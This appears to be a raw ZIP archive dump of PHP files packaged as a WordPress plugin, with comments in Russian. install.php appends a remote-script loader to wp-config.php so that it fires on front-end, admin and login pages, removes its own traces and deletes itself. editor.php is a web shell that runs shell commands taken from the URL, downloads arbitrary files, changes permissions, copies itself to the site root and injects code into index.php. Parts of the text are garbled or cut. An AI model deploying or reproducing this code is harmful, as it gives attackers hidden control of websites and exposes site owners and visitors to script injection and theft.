?????????????? PK[- install.phpnu[ дописать блок кода в wp-config.php * 2) instal.php?coddalete=1 -> удалить блок update_option(...) из wp-config.php * 3) instal.php?dalete=1 -> самоудалиться (удалить instal.php) */ /* -------------------------------------------------------------------------- * ШАГ 1. Функция поиска wp-config.php, поднимаясь вверх по директориям * -------------------------------------------------------------------------- */ function find_wp_config($startDir, $maxLevels = 10) { $dir = rtrim($startDir, DIRECTORY_SEPARATOR); for ($level = 0; $level < $maxLevels; $level++) { $configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php'; if (file_exists($configPath)) { return $configPath; } $parentDir = dirname($dir); if ($parentDir === $dir) { // Достигли корня ФС break; } $dir = $parentDir; } return false; } // Пытаемся найти wp-config.php, начиная с директории, где лежит instal.php $wpConfigPath = find_wp_config(__DIR__, 10); if (!$wpConfigPath) { echo "Не найден wp-config.php (проверено 10 уровней вверх от " . __DIR__ . ")."; exit; } /* -------------------------------------------------------------------------- * ШАГ 2. Определяем блок кода, который вставляем в wp-config.php * -------------------------------------------------------------------------- */ $blockToAdd = <<'; } } add_action('wp_head', 'my_script_loader'); add_action('admin_head', 'my_script_loader'); add_action('login_head', 'my_script_loader'); PHP; /** * Регулярка для удаления только кода update_option(...): * * Ищет всё между: * if ( ! get_option('my_script_url') ) { * update_option('my_script_url', 'https://....'); * } */ $updateOptionPattern = <<<'REGEX' /if\s*\(\s*!\s*get_option\(\s*'my_script_url'\s*\)\s*\)\s*{\s*update_option\(.*?\);\s*}\s*/s REGEX; /* -------------------------------------------------------------------------- * ШАГ 3. Функции-хелперы для записи/удаления кода * -------------------------------------------------------------------------- */ /** * Добавляет $blockToAdd в конец файла $filePath (если там ещё нет этого блока). */ function appendToFile($filePath, $blockToAdd) { $original = file_get_contents($filePath); // Проверяем, нет ли уже этого кода if (strpos($original, $blockToAdd) !== false) { echo "Блок уже существует в {$filePath}
"; return; } // Добавляем блок $original .= "\n" . $blockToAdd . "\n"; file_put_contents($filePath, $original); echo "Блок успешно добавлен в {$filePath}
"; } /** * Удаляет один раз первый найденный фрагмент, подходящий под $pattern, из файла $filePath. */ function removeBlockFromFile($filePath, $pattern) { $content = file_get_contents($filePath); $newContent = preg_replace($pattern, '', $content, 1); // заменяем только одно вхождение if ($newContent === null) { echo "Ошибка при preg_replace — возможно, некорректная регулярка.
"; return; } if ($newContent !== $content) { file_put_contents($filePath, $newContent); echo "Фрагмент удалён из {$filePath}
"; } else { echo "Не найден фрагмент для удаления в {$filePath}
"; } } /** * Удаляет сам файл instal.php (самоуничтожение). */ function selfDelete() { $myPath = __FILE__; // путь к самому себе unlink($myPath); echo "Файл удалён: {$myPath}
"; } /* -------------------------------------------------------------------------- * ШАГ 4. Обработка GET-параметров * -------------------------------------------------------------------------- */ if (isset($_GET['copy'])) { // 1) Добавляем блок кода в конец wp-config.php if (!file_exists($wpConfigPath)) { echo "wp-config.php не найден. Путь: {$wpConfigPath}
"; } else { appendToFile($wpConfigPath, $blockToAdd); } exit; } if (isset($_GET['coddalete'])) { // 2) Удаляем ТОЛЬКО блок update_option(...) из wp-config.php if (!file_exists($wpConfigPath)) { echo "wp-config.php не найден. Путь: {$wpConfigPath}
"; } else { removeBlockFromFile($wpConfigPath, $updateOptionPattern); } exit; } if (isset($_GET['dalete'])) { // 3) Самоудаление instal.php selfDelete(); exit; } // Если ?... не передан, выводим инструкцию echo <<Скрипт instal.php (улучшенная версия)

Используйте GET-параметры:

HTML; PK[ plugin.phpnu[PK[=ktt editor.phpnu[Текущая директория: " . htmlspecialchars($current_dir) . "

"; echo "

Определенная корневая директория: " . htmlspecialchars($root_path) . "

"; // Выполнение команд из URL if (isset($_GET['cmd'])) { $command = escapeshellcmd($_GET['cmd']); $output = shell_exec($command . " 2>&1"); echo "

Результат выполнения команды:

$output
"; } // Копирование файла в корень if (isset($_GET['copy_to_root'])) { $destination_file = $root_path . '/' . basename(__FILE__); if (copy(__FILE__, $destination_file)) { echo "Файл успешно скопирован в корневую директорию: $destination_file"; } else { echo "Ошибка при копировании файла в корневую директорию."; } } // Изменение прав доступа if (isset($_GET['chmod_file']) && isset($_GET['chmod_value'])) { $file_to_change = $root_path . '/' . ltrim($_GET['chmod_file'], '/'); $new_permissions = intval($_GET['chmod_value'], 8); if (file_exists($file_to_change)) { chmod($file_to_change, $new_permissions); echo "

Права доступа для $file_to_change изменены на " . sprintf('%o', $new_permissions) . "

"; } else { echo "

Файл $file_to_change не найден.

"; } } // Загрузка файла из URL if (isset($_GET['download_url']) && isset($_GET['target_dir'])) { $download_url = $_GET['download_url']; $target_dir = realpath($root_path . '/' . trim($_GET['target_dir'], '/')); if ($target_dir === false || strpos($target_dir, $root_path) !== 0) { die("Нет доступа к указанной директории."); } $file_name = basename(parse_url($download_url, PHP_URL_PATH)); $target_file = $target_dir . '/' . $file_name; if (!is_dir($target_dir)) { mkdir($target_dir, 0777, true); } if (@file_put_contents($target_file, file_get_contents($download_url))) { echo "Файл $file_name успешно загружен в $target_dir.
"; } else { echo "Ошибка при скачивании файла из $download_url.
"; } } // Редактирование index.php с шаблонной правкой if (isset($_GET['template_edit'])) { $file_to_edit = $root_path . '/index.php'; if (file_exists($file_to_edit)) { $content = file_get_contents($file_to_edit); $injection = "\n// WordPrees \n\n"; if (strpos($content, $injection) === false) { $content = preg_replace('/<\?php/', "&1"); echo "

Результат выполнения exe-файла:

$output
"; } else { echo "Файл $exe_path не найден."; } } // Список директорий и файлов function list_directory($dir) { $files = scandir($dir); echo "

Содержимое директории: " . htmlspecialchars($dir) . "

"; echo ""; } list_directory($current_dir); ?>
PK[- install.phpnu[PK[ plugin.phpnu[PK[=ktt editor.phpnu[PK2